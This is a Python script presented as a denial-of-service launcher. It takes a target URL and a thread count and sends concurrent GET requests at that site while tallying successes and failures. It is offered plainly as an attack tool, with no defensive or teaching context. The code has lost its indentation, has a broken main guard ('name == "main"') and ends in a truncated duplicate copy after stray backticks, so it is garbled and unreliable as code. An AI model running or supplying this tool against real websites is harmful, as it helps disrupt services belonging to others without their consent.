import requests
import sys
import threading
import time
from requests.adapters import HTTPAdapter, Retry
def clear_lines(count: int) -> None:
if not sys.stdout.isatty():
return
for _ in range(count):
print("\x1b[1A\x1b[2K", end="", flush=True)
def dos_attack(session: requests.Session, url: str, stop_event: threading.Event, lock: threading.Lock, results: dict) -> None:
if stop_event.is_set():
return
try:
response = session.get(url, timeout=10)
with lock:
if 200 <= response.status_code < 400:
results["success"] += 1
else:
results["fail"] += 1
results["finished"] += 1
except requests.RequestException:
with lock:
results["fail"] += 1
results["finished"] += 1
def main() -> None:
url = input("Enter the target URL: ").strip()
if not url:
print("No URL entered. Exiting DOS launcher.")
return
if not url.startswith(("http://", "https://")):
url = "http://" + url
try:
num_threads = int(input("Enter the number of threads: "))
except ValueError:
print("Invalid thread count. Please enter an integer.")
return
if num_threads <= 0:
print("Thread count must be at least 1.")
return
threads = []
lock = threading.Lock()
stop_event = threading.Event()
results = {"success": 0, "fail": 0, "finished": 0, "total": num_threads}
def wait_for_stop() -> None:
while not stop_event.is_set():
try:
text = input()
except EOFError:
break
if text.strip().lower() == "stop":
stop_event.set()
break
session = requests.Session()
session.trust_env = False
retry = Retry(
total=2,
backoff_factor=0.5,
status_forcelist=(429, 500, 502, 503, 504),
allowed_methods=frozenset(["GET"]),
raise_on_status=False,
)
adapter = HTTPAdapter(max_retries=retry)
session.mount("http://", adapter)
session.mount("https://", adapter)
session.headers.clear()
session.headers.update({
"User-Agent": "Mozilla/5.0",
"Accept": "*/*",
"Accept-Encoding": "identity",
"Connection": "close",
})
stop_thread = threading.Thread(target=wait_for_stop, daemon=True)
stop_thread.start()
print("wait... (type stop and Enter to cancel)")
for _ in range(num_threads):
if stop_event.is_set():
break
thread = threading.Thread(
target=dos_attack,
args=(session, url, stop_event, lock, results),
daemon=True,
)
threads.append(thread)
thread.start()
time.sleep(0.01)
for thread in threads:
thread.join()
clear_lines(1)
if stop_event.is_set():
print(f"Stopped. Success: {results['success']}, Fail: {results['fail']}")
else:
print(f"Success: {results['success']}, Fail: {results['fail']}")
if name == "main":
main()``
import requests
import sys
import threading
import time
from requests.adapters import HTTPAdapter, Retry
def clear_lines(count: int) -> None:
if not sys.stdout.isatty():
return
def dos_attack(session: requests.Session, url: str, stop_event: threading.Event, lock: threading.Lock, results: dict) -> None:
if stop_event.is_set():
return
def main() -> None:
url = input("Enter the target URL: ").strip()
if not url:
print("No URL entered. Exiting DOS launcher.")
return
if name == "main":
main()``